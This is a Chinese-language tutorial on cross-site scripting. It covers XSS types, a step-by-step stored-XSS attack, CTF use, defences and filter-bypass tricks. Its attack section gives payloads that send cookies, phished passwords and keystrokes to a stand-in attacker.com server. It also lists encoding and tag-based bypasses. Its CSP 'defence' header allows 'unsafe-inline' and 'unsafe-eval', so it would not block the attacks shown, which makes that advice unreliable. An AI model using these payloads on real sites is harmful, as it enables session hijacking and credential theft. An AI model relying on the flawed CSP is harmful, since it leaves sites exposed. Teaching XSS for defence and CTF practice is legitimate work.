XSS攻击(跨站脚本攻击)详解与实战

文章目录

一、什么是XSS?

XSS(Cross-Site Scripting) 是一种通过向网页注入恶意脚本(JavaScript、HTML等),在用户浏览器中执行的攻击方式。攻击者可窃取用户Cookie、会话令牌,甚至控制用户浏览器行为。


二、XSS分类与场景

  1. 存储型XSS(Stored XSS)

    • 特点:恶意脚本永久存储在目标服务器(如评论区、用户资料页)。

    • 影响范围:所有访问受影响页面的用户。

    • 示例

      html 复制代码
      <script>alert('XSS');</script>  // 提交到评论区,所有用户加载时触发弹窗
  2. 反射型XSS(Reflected XSS)

    • 特点:恶意脚本通过URL参数传递,服务端返回时直接嵌入页面。

    • 触发条件:用户需点击构造的恶意链接。

    • 示例

      url 复制代码
       http://victim.com/search?q=<script>alert(document.cookie)</script>`
  3. DOM型XSS(DOM-Based XSS)

    • 特点:漏洞位于客户端JavaScript代码中,不经过服务端处理。

    • 常见场景 :通过location.hashdocument.write等动态修改DOM。

    • 示例

      JavaScript 复制代码
      // 假设页面JS代码:document.write(location.hash.substring(1)); 恶意URL:http://victim.com#<img src=x onerror=alert(1)>

三、XSS攻击实战流程

目标场景:某博客平台的评论功能存在存储型XSS漏洞。

步骤1:探测注入点

  • 在评论区提交测试Payload:

    html 复制代码
    <script>alert(1)</script>
  • 若页面弹窗,确认漏洞存在。

步骤2:窃取用户Cookie

  • 构造Payload将Cookie发送至攻击者服务器:

    html 复制代码
    <script>   fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>
  • 攻击者服务器(attacker.com)记录窃取的Cookie,用于会话劫持。

步骤3:钓鱼攻击

  • 伪造登录表单诱导用户输入密码:

    html 复制代码
    <div style="display:none" id="phish">   <form action="http://attacker.com/log" method="POST">     <input type="password" name="password">     <input type="submit" value="Login">   </form> </div> <script>document.getElementById('phish').style.display='block';</script>

步骤4:键盘记录

  • 监听用户输入并回传数据:

    html 复制代码
    <script>document.addEventListener('keypress', (e) => {    fetch('http://attacker.com/keylog?key=' + e.key);  }); </script>

四、CTF中的XSS利用

  1. 窃取管理员Cookie获取Flag

    • 题目场景:留言板存在XSS,管理员会查看留言。

    • Payload:

      html 复制代码
      <script>location.href = 'http://attacker.com/?flag=' + document.cookie; </script>
    • 攻击者服务器接收管理员Cookie中的Flag。

  2. DOM型XSS绕过过滤

    • 题目过滤了<script>标签,但允许img标签:

      html 复制代码
      <img src=x onerror="alert(1)">
    • 利用事件处理器(如onerroronload)执行代码。

  3. 利用伪协议

    • 通过javascript:协议触发XSS:

      html 复制代码
      http://victim.com/profile?name=<a href="javascript:alert(1)">Click</a>

五、XSS防御方案

  1. 输入过滤与输出编码

    • 对用户输入的特殊字符(<, >, &, ', ")进行HTML实体编码:

      php 复制代码
      // PHP示例 
      echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
    • 避免直接使用innerHTML,优先使用textContent

  2. 内容安全策略(CSP)

    • 通过HTTP头限制脚本来源:

      http 复制代码
      Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
  3. 设置HttpOnly标志

    • Cookie中标记HttpOnly,防止JavaScript读取:

      http 复制代码
      Set-Cookie: session=abc123; HttpOnly; Secure
  4. 框架自动防护

    • 使用现代前端框架(如React、Vue),默认对动态内容进行转义。

六、绕过过滤的常见技巧

  1. 大小写混淆

    html 复制代码
    <ScRiPt>alert(1)</sCriPt>
  2. 编码绕过

    • HTML实体编码:

      html 复制代码
      <img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">
    • JavaScript Unicode编码:

      javascript 复制代码
      \u0061\u006c\u0065\u0072\u0074(1)
  3. 利用标签属性

    html 复制代码
    <svg/onload=alert(1)> <iframe src="javascript:alert(1)">

七、实战练习资源

  1. PortSwigger XSS Labs
  2. XSS挑战游戏
  3. CTF平台
    • Hack The Box, CTFlearn中的Web题目。

总结:XSS攻击的核心在于控制用户浏览器执行恶意脚本。防御需结合输入过滤、输出编码、CSP等多层措施。在CTF中,灵活构造Payload并理解上下文过滤规则是解题关键。

相关推荐
csbDD1 小时前
2025年网络安全(黑客技术)三个月自学手册
linux·网络·python·安全·web安全
anyup_前端梦工厂2 小时前
了解几个 HTML 标签属性,实现优化页面加载性能
前端·html
EasyNVR2 小时前
EasyRTC智能硬件:实时畅联、沉浸互动、消音护航
运维·服务器·网络·安全·音视频·webrtc·p2p
前端御书房2 小时前
前端PDF转图片技术调研实战指南:从踩坑到高可用方案的深度解析
前端·javascript
2301_789169542 小时前
angular中使用animation.css实现翻转展示卡片正反两面效果
前端·css·angular.js
阿湯哥3 小时前
越权漏洞及其修复方法
网络·安全·web安全
风口上的猪20153 小时前
thingboard告警信息格式美化
java·服务器·前端
程序员黄同学3 小时前
请谈谈 Vue 中的响应式原理,如何实现?
前端·javascript·vue.js
爱编程的小庄4 小时前
web网络安全:SQL 注入攻击
前端·sql·web安全
宁波阿成5 小时前
vue3里组件的v-model:value与v-model的区别
前端·javascript·vue.js